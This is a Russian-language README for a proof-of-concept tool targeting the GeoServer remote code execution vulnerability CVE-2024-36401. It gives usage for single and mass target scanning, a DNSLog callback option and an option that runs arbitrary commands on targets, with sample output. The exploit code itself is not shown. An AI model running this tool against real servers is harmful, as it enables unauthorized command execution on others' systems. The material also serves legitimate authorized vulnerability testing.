⚠️ Отказ от ответственности: Этот инструмент предназначен исключительно для исследований в области безопасности и легитимного тестирования с разрешения. Не используйте его в незаконных целях. Пользователь несет полную юридическую ответственность.

README Версия: [English | 中文]

Описание уязвимости

Данный скрипт предназначен для обнаружения уязвимости удаленного выполнения кода (CVE-2024-36401) в GeoServer с помощью PoC-инструмента. Уязвимость позволяет злоумышленнику выполнить произвольные команды на целевом сервере, отправив специально сформированный запрос.

Зависимости

Убедитесь, что в вашем окружении установлены следующие зависимости:

Python 3.x
Сторонние библиотеки:
- requests
- lxml

Установить необходимые зависимости можно командой:

pip install requests lxml

Инструкция по использованию

Проверка одиночной цели

python poc.py -u http://target.com -d dnslog.example.com

Или с указанием команды для выполнения:

python poc.py -u http://target.com -c "touch /tmp/vulntest"

Пакетная проверка нескольких целей

Подготовьте текстовый файл с URL-адресами целей (по одному на строку):

python poc.py -uf targets.txt -d dnslog.example.com

Или с указанием команды:

python poc.py -uf targets.txt -c "id"

Подробная инструкция по использованию: Подробная документация по использованию

Описание параметров

Параметр	Описание
`-u`, `--url`	Указывает адрес одиночной цели
`-uf`, `--url-file`	Указывает путь к файлу, содержащему несколько URL-адресов целей
`-d`, `--dnslog`	Указывает адрес DNSLog
`-c`, `--command`	Указывает команду для выполнения на целевой системе (например: `whoami`, `id`, `curl`)

⚠️ Примечание: параметры -d и -c не могут использоваться одновременно.

Пример вывода

[INFO] Получено 3 действующих Typenames, начинаем поиск уязвимости
[INFO] Цель: http://example.com
[INFO] Выполняемая команда: whoami
[INFO] DNSLOG адрес:

[INFO] Пробуем typeName: topp:states -> whoami
[+] Команда, вероятно, успешно выполнена! Цель: http://example.com Команда: whoami

Особенности скрипта

Исправлена проблема в PoC Nuclei, когда проверка уязвимости не срабатывала из-за фиксированного списка Typenames.
Автоматический сбор всех Typenames и циклическое тестирование доступных для использования Typenames.
Поддержка выполнения команд с помощью параметра -c.
Возможность загрузки файла с URL-адресами для массовой проверки уязвимости.

Вклад

Приветствуются любые Issue или Pull Request для улучшения этого проекта.

Лицензия

Данный проект распространяется под лицензией MIT. Вы можете свободно изменять, распространять и использовать в коммерческих целях, но обязаны сохранять уведомление об авторских правах.

CVE-2024-36401_Geoserver_RCE_POC

Популярное

Описание